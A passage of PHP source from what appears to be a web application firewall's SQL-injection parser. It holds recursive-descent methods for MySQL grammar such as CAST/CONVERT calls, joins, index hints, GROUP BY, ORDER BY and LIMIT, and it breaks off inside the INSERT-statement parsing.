					$savePoint = $this->index;
					while ($this->isTokenOfType($this->nextToken(), array(
						wfWAFSQLiLexer::DOUBLE_STRING_LITERAL,
						wfWAFSQLiLexer::SINGLE_STRING_LITERAL
					))) {
						$savePoint = $this->index;
					}
					$this->index = $savePoint;
					$validLiteral = true;
					break;

				case wfWAFSQLiLexer::UNQUOTED_IDENTIFIER:
					if ($nextToken->getLowerCaseValue() === 'null') {
						$validLiteral = true;
					}
					break;
			}
		}


		if ($validLiteral) {
			if ($hasCharacterSetIntroducer) {
				// Check for and parse collation
				$savePoint = $this->index;
				$hasCollation = $this->isIdentifierWithValue($this->nextToken(), 'collation') &&
					$this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::UNQUOTED_IDENTIFIER);
				if (!$hasCollation) {
					$this->index = $savePoint;
				}
			}

			return true;
		}

		$this->index = $startIndex;
		return false;
	}

	/**
	 * @return bool
	 */
	private function parseColumnSpec() {
		$savePoint = $this->index;
		if ($this->parseTableSpec()) {
			$savePoint = $this->index;
			if ($this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::DOT)) {
				$nextToken = $this->nextToken();
				if ($nextToken && ($nextToken->getType() == wfWAFSQLiLexer::UNQUOTED_IDENTIFIER ||
						$nextToken->getType() == wfWAFSQLiLexer::QUOTED_IDENTIFIER)
				) {
					return true;
				}
				$this->index = $savePoint;
				return false;
			}

			$this->index = $savePoint;
			return true;
		}
		$this->index = $savePoint;
		return false;
	}

	/**
	 * CAST_SYM LPAREN expression AS_SYM cast_data_type RPAREN  )
	 * | (  CONVERT_SYM LPAREN expression COMMA cast_data_type RPAREN  )
	 * | (  CONVERT_SYM LPAREN expression USING_SYM transcoding_name RPAREN  )
	 * | (  group_functions LPAREN ( ASTERISK | ALL | DISTINCT )? bit_expr RPAREN  )
	 *
	 * @return bool
	 */
	private function parseFunctionCall() {
		$startPoint = $this->index;
		$functionToken = $this->nextToken();
		if ($functionToken && $functionToken->getType() === wfWAFSQLiLexer::UNQUOTED_IDENTIFIER) {
			if ($this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::OPEN_PARENTHESIS)) {
				switch ($functionToken->getLowerCaseValue()) {
					case 'cast':
						if ($this->parseExpression() &&
							$this->isIdentifierWithValue($this->nextToken(), 'as') &&
							$this->parseCastDataType() &&
							$this->parseOptionalCharacterSet() &&
							$this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::CLOSE_PARENTHESIS)
						) {
							return true;
						}
						break;

					case 'convert':
						if ($this->parseExpression()) {
							$savePoint = $this->index;
							if ($this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::COMMA) &&
								$this->parseCastDataType() &&
								$this->parseOptionalCharacterSet() &&
								$this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::CLOSE_PARENTHESIS)
							) {
								return true;
							}
							$this->index = $savePoint;
							$savePoint = $this->index;
							if ($this->isIdentifierWithValue($this->nextToken(), 'using') &&
								$this->parseTranscodingName() &&
								$this->parseOptionalCharacterSet() &&
								$this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::CLOSE_PARENTHESIS)
							) {
								return true;
							}
							$this->index = $savePoint;
						}
						break;

					case 'trim':
						if (!$this->isIdentifierWithValue($this->nextToken(), array(
							'leading',
							'both',
							'trailing',
						))) {
							$this->index--;
						}

						while ($this->parseExpression()) {
							$nextToken = $this->nextToken();
							if (
								$this->isTokenOfType($nextToken, wfWAFSQLiLexer::COMMA) ||
								$this->isIdentifierWithValue($nextToken, array(
									'from',
									'for',
									'in',
								))
							) {
								continue;
							}
							$this->index--;
							break;
						}

						if ($this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::CLOSE_PARENTHESIS)) {
							return true;
						}
						break;

					case 'weight_string':
						if ($this->parseExpression()) {
							$savePoint = $this->index;
							if (!(
								$this->isIdentifierWithValue($this->nextToken(), 'as') &&
								$this->parseCastDataType() &&
								$this->parseOptionalCharacterSet()
							)) {
								$this->index = $savePoint;
							}

							if ($this->isIdentifierWithValue($this->nextToken(), 'level')) {
								while ($this->parseExpression()) {
									$nextToken = $this->nextToken();
									if (
										$this->isTokenOfType($nextToken, wfWAFSQLiLexer::COMMA) ||
										$this->isTokenOfType($nextToken, wfWAFSQLiLexer::MINUS)
									) {
										continue;
									}
									$this->index--;
									break;
								}
								while ($this->isIdentifierWithValue($this->nextToken(), array(
									'asc',
									'desc',
									'reverse',
								))) {
									continue;
								}
								$this->index--;
							} else {
								$this->index--;
							}
						}

						if ($this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::CLOSE_PARENTHESIS)) {
							return true;
						}
						break;

					default:
						$savePoint = $this->index;
						if (in_array($functionToken->getUpperCaseValue(), $this->groupFunctions)) {
							$token = $this->nextToken();
							if (!$this->isIdentifierWithValue($token, array(
									'all', 'distinct',
								)) && !$this->isTokenOfType($token, wfWAFSQLiLexer::ASTERISK)
							) {
								$this->index--;
							}
							$this->parseBitExpression();
							if ($this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::CLOSE_PARENTHESIS)) {
								return true;
							}
						}
						$this->index = $savePoint;

						while ($this->parseExpression()) {
							$nextToken = $this->nextToken();
							if (
								$this->isTokenOfType($nextToken, wfWAFSQLiLexer::COMMA) ||
								$this->isIdentifierWithValue($nextToken, array(
									'from',
									'for',
									'in',
								))
							) {
								continue;
							}
							$this->index--;
							break;
						}

						if ($this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::CLOSE_PARENTHESIS)) {
							return true;
						}
						break;
				}
			}
		}
		$this->index = $startPoint;
		return false;
	}

	/**
	 * BINARY (INTEGER_NUM)?
	 * | CHAR (INTEGER_NUM)?
	 * | DATE_SYM
	 * | DATETIME
	 * | DECIMAL_SYM ( INTEGER_NUM (COMMA INTEGER_NUM)? )?
	 * | SIGNED_SYM (INTEGER_SYM)?
	 * | TIME_SYM
	 * | UNSIGNED_SYM (INTEGER_SYM)?
	 *
	 * @return bool
	 */
	private function parseCastDataType() {
		$startPoint = $this->index;
		$token = $this->nextToken();
		if ($this->isKeywordToken($token)) {
			switch ($token->getLowerCaseValue()) {
				case 'binary':
				case 'char':
				case 'nchar':
				case 'varchar':
				case 'character':
					$savePoint = $this->index;
					if ($this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::OPEN_PARENTHESIS) &&
						$this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::INTEGER_LITERAL) &&
						$this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::CLOSE_PARENTHESIS)
					) {
						return true;
					}
					$this->index = $savePoint;
					return true;

				case 'date':
				case 'datetime':
				case 'time':
					return true;

				case 'signed':
				case 'unsigned':
					if (!$this->isIdentifierWithValue($this->nextToken(), array(
						'int',
						'integer',
					))) {
						$this->index--;
					}
					return true;

				case 'decimal':
					$savePoint = $this->index;
					if ($this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::OPEN_PARENTHESIS) &&
						$this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::INTEGER_LITERAL)) {

						$savePoint2 = $this->index;
						if (!($this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::COMMA) &&
							$this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::INTEGER_LITERAL)
						)) {
							$this->index = $savePoint2;
						}
						if ($this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::CLOSE_PARENTHESIS)) {
							return true;
						}
					}

					$this->index = $savePoint;
					return true;
			}
		}
		$this->index = $startPoint;
		return false;
	}

	private function parseTranscodingName() {
		$savePoint = $this->index;
		$token = $this->nextToken();
		if ($token && $token->getType() === wfWAFSQLiLexer::UNQUOTED_IDENTIFIER) {
			return true;
		}
		$this->index = $savePoint;
		return false;
	}

	private function parseOptionalCharacterSet() {
		$savePoint = $this->index;
		if (!(
			$this->nextToken()->getLowerCaseValue() === 'character' &&
			$this->nextToken()->getLowerCaseValue() === 'set' &&
			$this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::UNQUOTED_IDENTIFIER)
		)) {
			$this->index = $savePoint;
		}
		return true;
	}

	private function parseVariable() {
		$nextToken = $this->nextToken();
		if ($nextToken && $nextToken->getType() === wfWAFSQLiLexer::VARIABLE) {
			return true;
		}
		$this->index--;
		return false;
	}

	/**
	 * @return bool
	 */
	private function parseSubquery() {
		$startIndex = $this->index;
		if ($this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::OPEN_PARENTHESIS) &&
			$this->parseSelectStatement() &&
			$this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::CLOSE_PARENTHESIS)
		) {
			return true;
		}
		$this->index = $startIndex;
		return false;
	}

	private function testForSubquery() {
		$startIndex = $this->index;
		$nextToken = $this->nextToken();
		if ($nextToken && $nextToken->getType() === wfWAFSQLiLexer::OPEN_PARENTHESIS) {
			$selectToken = $this->nextToken();
			if ($this->isIdentifierWithValue($selectToken, 'select')) {
				$this->index = $startIndex;
				return true;
			}
		}
		$this->index = $startIndex;
		return false;
	}

	/**
	 *
	 *
	 * @return bool
	 */
	private function parseExistsSubquery() {
		$startIndex = $this->index;
		$existsToken = $this->nextToken();
		if ($this->isIdentifierWithValue($existsToken, 'exists')) {
			if ($this->parseSubquery()) {
				return true;
			}
		}
		$this->index = $startIndex;
		return false;
	}

	/**
	 * MATCH (column_spec (COMMA column_spec)* ) AGAINST (expression (search_modifier)? )
	 *
	 * @return bool
	 */
	private function parseMatchAgainst() {
		$startIndex = $this->index;
		if ($this->isIdentifierWithValue($this->nextToken(), 'match')) {
			$savePoint = $this->index;
			if (!$this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::OPEN_PARENTHESIS)) {
				$this->index = $savePoint;
			}
			$hasColumns = false;
			while ($this->parseColumnSpec()) {
				$hasColumns = true;
				$savePoint = $this->index;
				if ($this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::COMMA)) {
					continue;
				}
				$this->index = $savePoint;
				break;
			}
			$savePoint = $this->index;
			if (!$this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::CLOSE_PARENTHESIS)) {
				$this->index = $savePoint;
			}
			if ($hasColumns && $this->isIdentifierWithValue($this->nextToken(), 'against') &&
				$this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::OPEN_PARENTHESIS) &&
				$this->parseExpression() &&
				($this->parseSearchModifier() || true) &&
				$this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::CLOSE_PARENTHESIS)
			) {
				return true;
			}
		}
		$this->index = $startIndex;
		return false;
	}

	/**
	 * Used in match/against
	 *
	 * @link https://dev.mysql.com/doc/refman/5.6/en/fulltext-search.html
	 * @return bool
	 */
	private function parseSearchModifier() {
		$startIndex = $this->index;

		$startToken = $this->nextToken();
		if ($this->isIdentifierWithValue($startToken, 'in')) {
			$next = $this->nextToken();
			if ($this->isIdentifierWithValue($next, 'natural') &&
				$this->isIdentifierWithValue($this->nextToken(), 'language') &&
				$this->isIdentifierWithValue($this->nextToken(), 'mode')
			) {
				$saveIndex = $this->index;
				if ($this->isIdentifierWithValue($this->nextToken(), 'with') &&
					$this->isIdentifierWithValue($this->nextToken(), 'query') &&
					$this->isIdentifierWithValue($this->nextToken(), 'expansion')
				) {
					return true;
				}
				$this->index = $saveIndex;
				return true;

			} else if ($this->isIdentifierWithValue($next, 'boolean') &&
				$this->isIdentifierWithValue($this->nextToken(), 'mode')
			) {
				return true;
			}
		} else if ($this->isIdentifierWithValue($startToken, 'with')) {
			if ($this->isIdentifierWithValue($this->nextToken(), 'query') &&
				$this->isIdentifierWithValue($this->nextToken(), 'expansion')
			) {
				return true;
			}
		}

		$this->index = $startIndex;
		return false;
	}

	/**
	 * @return bool
	 */
	private function parseCaseWhen() {
		$startIndex = $this->index;
		if ($this->isIdentifierWithValue($this->nextToken(), 'case')) {
			$hasWhen = false;
			while (true) {
				if (!$this->isIdentifierWithValue($this->nextToken(), 'when')) {
					$this->index--;
					break;
				}
				if ($this->parseExpression()) {
					if ($this->isIdentifierWithValue($this->nextToken(), 'then') && $this->parseBitExpression()) {
						$hasWhen = true;
						continue;
					}
					$this->index--;
				}
				$this->index--;
				break;
			}
			if ($hasWhen) {
				$endToken = $this->nextToken();
				if ($this->isIdentifierWithValue($endToken, 'else')) {
					if (!$this->parseBitExpression()) {
						$this->index = $startIndex;
						return false;
					}
					$endToken = $this->nextToken();
				}
				if ($this->isIdentifierWithValue($endToken, 'end')) {
					return true;
				}
			}
		}
		$this->index = $startIndex;
		return false;
	}

	/**
	 * @return bool
	 */
	private function parseODBCExpression() {
		$startIndex = $this->index;
		if ($this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::OPEN_BRACKET) && $this->isIdentifier($this->nextToken()) && $this->parseExpression() && $this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::CLOSE_BRACKET)) {
			return true;
		}
		$this->index = $startIndex;
		return false;
	}

	/**
	 * @return bool
	 */
	private function parseIntervalExpression() {
		$startIndex = $this->index;
		if ($this->isIdentifierWithValue($this->nextToken(), 'interval') && $this->parseExpression()) {
			$intervalUnitToken = $this->nextToken();
			if ($intervalUnitToken && in_array($intervalUnitToken->getType(), $this->intervalUnits)) {
				return true;
			}
		}
		$this->index = $startIndex;
		return false;
	}

	/**
	 * @return bool
	 */
	public function parseCollationName() {
		$startIndex = $this->index;
		$token = $this->nextToken();
		if ($token && $token->getType() === wfWAFSQLiLexer::UNQUOTED_IDENTIFIER) {
			return true;
		}
		$this->index = $startIndex;
		return false;
	}

	/**
	 * @return bool
	 */
	private function parseFrom() {
		$startIndex = $this->index;
		$token = $this->nextToken();
		if ($this->isIdentifierWithValue($token, 'from')) {
			return $this->parseTableReferences();
		}
		$this->index = $startIndex;
		return false;
	}

	/**
	 * @link http://dev.mysql.com/doc/refman/5.6/en/join.html
	 * @return bool
	 */
	private function parseTableReferences() {
		$startPoint = $this->index;
		$hasReferences = false;
		while ($this->parseEscapedTableReference()) {
			$hasReferences = true;
			$savePoint = $this->index;
			$token = $this->nextToken();
			if ($this->isTokenOfType($token, wfWAFSQLiLexer::COMMA)) {
				continue;
			}
			$this->index = $savePoint;
			break;
		}
		if ($hasReferences) {
			return true;
		}
		$this->index = $startPoint;
		return false;
	}

	/**
	 * @return bool
	 */
	private function parseEscapedTableReference() {
		$startPoint = $this->index;
		if ($this->parseTableReference() ||
			(
				$this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::OPEN_BRACKET) &&
				$this->isIdentifierWithValue($this->nextToken(), 'oj') &&
				$this->parseTableReference() &&
				$this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::CLOSE_BRACKET)
			)
		) {
			return true;
		}

		$this->index = $startPoint;
		return false;
	}

	/**
	 * @return bool
	 */
	private function parseTableReference() {
		$savePoint = $this->index;
		$hasTables = false;
		if ($this->parseTableFactor()) {
			$hasTables = true;
			while ($this->parseJoinTable()) {

			}
		}
		if ($hasTables) {
			return true;
		}
		$this->index = $savePoint;
		return false;
	}

	/**
	 * table_factor:
	 *   tbl_name [PARTITION (partition_names)] [[AS] alias] [index_hint_list]
	 *   | table_subquery [AS] alias
	 *   | ( table_references )
	 */
	private function parseTableFactor() {
		$savePoint = $this->index;
		if ($this->parseTableSpec()) {
			$savePoint2 = $this->index;
			if (!$this->parsePartitionClause()) {
				$this->index = $savePoint2;
			}

			$this->parseAlias();
			$this->parseIndexHintList();

			return true;
		}
		$this->index = $savePoint;

		$savePoint = $this->index;
		if ($this->parseSubquery() && $this->parseAlias()) {
			return true;
		}
		$this->index = $savePoint;

		$savePoint = $this->index;
		if ($this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::OPEN_PARENTHESIS) &&
			$this->parseTableReferences() &&
			$this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::CLOSE_PARENTHESIS)
		) {
			return true;
		}
		$this->index = $savePoint;
		return false;
	}

	/**
	 * PARTITION (partition_names)
	 *
	 * @return bool
	 */
	private function parsePartitionClause() {
		$startIndex = $this->index;
		if ($this->isIdentifierWithValue($this->nextToken(), 'partition') &&
			$this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::OPEN_PARENTHESIS) &&
			$this->parsePartitionNames() &&
			$this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::CLOSE_PARENTHESIS)
		) {
			return true;
		}
		$this->index = $startIndex;
		return false;
	}

	/**
	 * @return bool
	 */
	private function parsePartitionNames() {
		$startPoint = $this->index;
		$hasPartition = false;
		while ($this->parsePartitionName()) {
			$hasPartition = true;
			$savePoint = $this->index;
			if (!$this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::COMMA)) {
				$this->index = $savePoint;
				break;
			}
		}
		if ($hasPartition) {
			return true;
		}
		$this->index = $startPoint;
		return false;
	}

	/**
	 * @return bool
	 */
	private function parsePartitionName() {
		$startPoint = $this->index;
		$token = $this->nextToken();
		if ($this->isValidNonReservedWordIdentifier($token)) {
			return true;
		}
		$this->index = $startPoint;
		return false;
	}

	/**
	 * join_table:
	 *   table_reference [INNER | CROSS] JOIN table_factor [join_condition]
	 *   | table_reference STRAIGHT_JOIN table_factor
	 *   | table_reference STRAIGHT_JOIN table_factor ON conditional_expr
	 *   | table_reference {LEFT|RIGHT} [OUTER] JOIN table_reference join_condition
	 *   | table_reference NATURAL [{LEFT|RIGHT} [OUTER]] JOIN table_factor
	 *
	 * @return bool
	 */
	private function parseJoinTable() {
		$savePoint = $this->index;
		if (!$this->isIdentifierWithValue($this->nextToken(), array(
			'inner', 'cross',
		))
		) {
			$this->index = $savePoint;
		}
		if ($this->isIdentifierWithValue($this->nextToken(), 'join') && $this->parseTableFactor()) {
			$this->parseJoinCondition();
			return true;
		}
		$this->index = $savePoint;

		$savePoint = $this->index;
		if ($this->isIdentifierWithValue($this->nextToken(), 'straight_join') &&
			$this->parseTableFactor()
		) {
			$savePoint = $this->index;
			if (!($this->isIdentifierWithValue($this->nextToken(), 'on') && $this->parseExpression())) {
				$this->index = $savePoint;
			}
			return true;
		}
		$this->index = $savePoint;

		$savePoint = $this->index;
		if ($this->isIdentifierWithValue($this->nextToken(), array(
			'left', 'right',
		))
		) {
			$savePoint2 = $this->index;
			if (!$this->isIdentifierWithValue($this->nextToken(), array(
				'outer',
			))
			) {
				$this->index = $savePoint2;
			}
		} else {
			$this->index = $savePoint;
		}
		if ($this->isIdentifierWithValue($this->nextToken(), 'join') &&
			$this->parseTableReference() &&
			$this->parseJoinCondition()
		) {
			return true;
		}
		$this->index = $savePoint;

		$savePoint = $this->index;
		if ($this->isIdentifierWithValue($this->nextToken(), array(
			'natural',
		))
		) {
			if ($this->isIdentifierWithValue($this->nextToken(), array(
				'left', 'right',
			))
			) {
				$savePoint2 = $this->index;
				if (!$this->isIdentifierWithValue($this->nextToken(), array(
					'outer',
				))
				) {
					$this->index = $savePoint2;
				}
			} else {
				$this->index = $savePoint;
			}
			if ($this->isIdentifierWithValue($this->nextToken(), 'join') &&
				$this->parseTableFactor()
			) {
				return true;
			}

		}
		$this->index = $savePoint;
		return false;
	}

	/**
	 * (ON expression) | (USING_SYM column_list)
	 *
	 * @return bool
	 */
	private function parseJoinCondition() {
		$savePoint = $this->index;
		if ($this->isIdentifierWithValue($this->nextToken(), 'on') && $this->parseExpression()) {
			return true;
		}
		$this->index = $savePoint;

		$savePoint = $this->index;
		if ($this->isIdentifierWithValue($this->nextToken(), 'using') && $this->parseColumnList()) {
			return true;
		}
		$this->index = $savePoint;
		return false;
	}

	/**
	 * @return bool
	 */
	private function parseTableSpec() {
		$savePoint = $this->index;
		$lastComponent = $savePoint;
		$components = 0;
		while (($token = $this->nextToken()) !== false) {
			if ($this->isValidIdentifier($token)) {
				$lastComponent = $this->index;
				$next = $this->nextToken();
				if ($this->isTokenOfType($next, wfWAFSQLiLexer::DOT)) {
					$components++;
				}
				elseif ($this->isTokenOfType($next, wfWAFSQLiLexer::REAL_NUMBER_LITERAL)) {
					$next = $this->nextToken();
					if ($this->isTokenOfType($next, wfWAFSQLiLexer::UNQUOTED_IDENTIFIER) && in_array($next->getValue(), array('e', 'E')) && $this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::DOT)) {
						$components++;
					}
					else {
						break;
					}
				}
				elseif ($components > 0 || $this->isValidNonReservedWordIdentifier($token)) {
					$this->index = $lastComponent;
					return true;
				}
				else {
					break;
				}
			}
			else if ($this->isTokenOfType($token, wfWAFSQLiLexer::ASTERISK)) {
				$this->index = $lastComponent;
				return true;
			}
			else {
				break;
			}
		}
		$this->index = $savePoint;
		return false;
	}

	/**
	 * @return bool
	 */
	private function parseAlias() {
		$savePoint = $this->index;
		$token = $this->nextToken();
		if ($this->isIdentifierWithValue($token, 'as')) {
			$token = $this->nextToken();
		}
		if ($this->isValidNonReservedWordIdentifier($token)) {
			return true;
		}
		$this->index = $savePoint;
		return false;
	}

	/**
	 * @return bool
	 */
	private function parseIndexHintList() {
		$startPoint = $this->index;
		$hasHints = false;
		while ($this->parseIndexHint()) {
			$hasHints = true;
			$savePoint = $this->index;
			if (!$this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::COMMA)) {
				$this->index = $savePoint;
				break;
			}
		}
		if ($hasHints) {
			return true;
		}
		$this->index = $startPoint;
		return false;
	}

	/**
	 * @return bool
	 */
	private function parseIndexHint() {
		// USE_SYM    index_options LPAREN (index_list)? RPAREN
		$savePoint = $this->index;
		if ($this->isIdentifierWithValue($this->nextToken(), 'use') &&
			$this->parseIndexOptions() &&
			$this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::OPEN_PARENTHESIS)
		) {
			$this->parseIndexList();
			if ($this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::CLOSE_PARENTHESIS)) {
				return true;
			}
		}
		$this->index = $savePoint;

		// IGNORE_SYM index_options LPAREN index_list RPAREN
		$savePoint = $this->index;
		if ($this->isIdentifierWithValue($this->nextToken(), 'ignore') &&
			$this->parseIndexOptions() &&
			$this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::OPEN_PARENTHESIS) &&
			$this->parseIndexList() &&
			$this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::CLOSE_PARENTHESIS)
		) {
			return true;
		}
		$this->index = $savePoint;

		// FORCE_SYM  index_options LPAREN index_list RPAREN
		$savePoint = $this->index;
		if ($this->isIdentifierWithValue($this->nextToken(), 'force') &&
			$this->parseIndexOptions() &&
			$this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::OPEN_PARENTHESIS) &&
			$this->parseIndexList() &&
			$this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::CLOSE_PARENTHESIS)
		) {
			return true;
		}
		$this->index = $savePoint;

		return false;
	}

	/**
	 * (INDEX_SYM | KEY_SYM) (  FOR_SYM ((JOIN_SYM) | (ORDER_SYM BY_SYM) | (GROUP_SYM BY_SYM))  )?
	 *
	 * @return bool
	 */
	private function parseIndexOptions() {
		$savePoint = $this->index;
		$token = $this->nextToken();
		if ($this->isIdentifierWithValue($token, 'index') ||
			$this->isIdentifierWithValue($token, 'key')
		) {
			$savePoint = $this->index;
			if ($this->isIdentifierWithValue($this->nextToken(), 'for')) {

				$savePoint = $this->index;
				if ($this->isIdentifierWithValue($this->nextToken(), 'join')) {
					return true;
				}
				$this->index = $savePoint;

				$savePoint = $this->index;
				if ($this->isIdentifierWithValue($this->nextToken(), 'order') &&
					$this->isIdentifierWithValue($this->nextToken(), 'by')
				) {
					return true;
				}
				$this->index = $savePoint;

				$savePoint = $this->index;
				if ($this->isIdentifierWithValue($this->nextToken(), 'group') &&
					$this->isIdentifierWithValue($this->nextToken(), 'by')
				) {
					return true;
				}
				$this->index = $savePoint;

				return true;
			}
			$this->index = $savePoint;
			return true;
		}
		$this->index = $savePoint;
		return false;
	}

	private function parseIndexList() {
		$startPoint = $this->index;
		$hasIndex = false;
		while ($this->parseIndexName()) {
			$hasIndex = true;
			$savePoint = $this->index;
			if (!$this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::COMMA)) {
				$this->index = $savePoint;
				break;
			}
		}
		if ($hasIndex) {
			return true;
		}
		$this->index = $startPoint;
		return false;
	}

	private function parseIndexName() {
		$startPoint = $this->index;
		$token = $this->nextToken();
		if ($this->isValidNonReservedWordIdentifier($token)) {
			return true;
		}
		$this->index = $startPoint;
		return false;
	}

	/**
	 * LPAREN column_spec (COMMA column_spec)* RPAREN
	 *
	 * @return bool
	 */
	private function parseColumnList() {
		$startPoint = $this->index;
		if ($this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::OPEN_PARENTHESIS)) {
			$hasColumn = false;
			while ($this->parseColumnSpec()) {
				$hasColumn = true;
				$savePoint = $this->index;
				if (!$this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::COMMA)) {
					$this->index = $savePoint;
					break;
				}
			}
			if ($hasColumn && $this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::CLOSE_PARENTHESIS)) {
				return true;
			}
		}
		$this->index = $startPoint;
		return false;
	}

	private function parseWhere() {
		$startIndex = $this->index;
		$token = $this->nextToken();
		if ($this->isIdentifierWithValue($token, 'where')) {
			if ($this->parseExpression()) {
				return true;
			}
		}
		$this->index = $startIndex;
		return false;
	}

	private function parseProcedure() {
		$startIndex = $this->index;
		if ($this->isIdentifierWithValue($this->nextToken(), 'PROCEDURE') &&
			$this->isIdentifierWithValue($this->nextToken(), 'ANALYSE') &&
			$this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::OPEN_PARENTHESIS)
		) {
			$savePoint = $this->index;
			if ($this->parseExpression()) {
				$savePoint = $this->index;
				if ($this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::COMMA) &&
					$this->parseExpression() &&
					$this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::CLOSE_PARENTHESIS)
				) {
					return true;
				}
				$this->index = $savePoint;
				if ($this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::CLOSE_PARENTHESIS)) {
					return true;
				}
			}
			$this->index = $savePoint;
			if ($this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::CLOSE_PARENTHESIS)) {
				return true;
			}
		}
		$this->index = $startIndex;
		return false;
	}

	/**
	 * GROUP_SYM BY_SYM groupby_item (COMMA groupby_item)* (WITH ROLLUP_SYM)?
	 *
	 * @return bool
	 */
	private function parseGroupBy() {
		$startIndex = $this->index;
		if ($this->isIdentifierWithValue($this->nextToken(), 'group') &&
			$this->isIdentifierWithValue($this->nextToken(), 'by')
		) {
			$hasItems = false;
			while ($this->parseGroupByItem()) {
				$hasItems = true;
				if ($this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::COMMA)) {
					continue;
				}
				$this->index--;
				break;
			}
			if ($hasItems) {
				$savePoint = $this->index;
				if (!($this->isIdentifierWithValue($this->nextToken(), 'with') &&
					$this->isIdentifierWithValue($this->nextToken(), 'rollup'))
				) {
					$this->index = $savePoint;
				}
				return true;
			}
		}
		$this->index = $startIndex;
		return false;
	}

	/**
	 * column_spec | INTEGER_NUM | bit_expr ;
	 *
	 * @return bool
	 */
	private function parseGroupByItem() {
		$startIndex = $this->index;
		if ($this->parseBitExpression()) {
			return true;
		}
		$this->index = $startIndex;
		return false;
	}

	/**
	 * HAVING expression
	 *
	 * @return bool
	 */
	private function parseHaving() {
		$startIndex = $this->index;
		if ($this->isIdentifierWithValue($this->nextToken(), 'having')
			&& $this->parseExpression()
		) {
			return true;
		}
		$this->index = $startIndex;
		return false;
	}

	/**
	 * ORDER_SYM BY_SYM orderby_item (COMMA orderby_item)*
	 *
	 * @return bool
	 */
	private function parseOrderBy() {
		$startIndex = $this->index;
		if ($this->isIdentifierWithValue($this->nextToken(), 'order') &&
			$this->isIdentifierWithValue($this->nextToken(), 'by')
		) {
			$hasItems = false;
			while ($this->parseOrderByItem()) {
				$hasItems = true;
				if ($this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::COMMA)) {
					continue;
				}
				$this->index--;
				break;
			}
			if ($hasItems) {
				return true;
			}
		}
		$this->index = $startIndex;
		return false;
	}

	/**
	 * groupby_item (ASC | DESC)? ;
	 *
	 * @return bool
	 */
	private function parseOrderByItem() {
		$startIndex = $this->index;
		if ($this->parseGroupByItem()) {
			$savePoint = $this->index;
			if (!$this->isIdentifierWithValue($this->nextToken(), array(
				'asc', 'desc',
			))
			) {
				$this->index = $savePoint;
			}
			return true;
		}
		$this->index = $startIndex;
		return false;
	}

	private function parseLimit() {
		// LIMIT ((offset COMMA)? row_count) | (row_count OFFSET_SYM offset)
		$startIndex = $this->index;
		if ($this->isIdentifierWithValue($this->nextToken(), 'limit') &&
			$this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::INTEGER_LITERAL)
		) {
			$savePoint = $this->index;
			if ($this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::COMMA) &&
				$this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::INTEGER_LITERAL)
			) {
				return true;
			}
			$this->index = $savePoint;

			$savePoint = $this->index;
			if ($this->isIdentifierWithValue($this->nextToken(), 'offset') &&
				$this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::INTEGER_LITERAL)
			) {
				return true;
			}
			$this->index = $savePoint;
			return true;
		}
		$this->index = $startIndex;
		return false;
	}

	/**
	 * @link http://dev.mysql.com/doc/refman/5.6/en/insert.html
	 * @return bool
	 */
	private function parseInsertStatement() {
		$startIndex = $this->index;
		if ($this->parseInsertStatement1() ||
			$this->parseInsertStatement2() ||
			$this->parseInsertStatement3()
		) {
			return true;
		}
		$this->index = $startIndex;
		return false;
	}

	/**
	 * insert_header
	 * (column_list)?
	 * value_list_clause
	 * ( insert_subfix )?
	 *
	 * @return bool
	 */
	private function parseInsertStatement1() {
		$startIndex = $this->index;
		if ($this->parseInsertHeader()) {
			$this->parseColumnList();
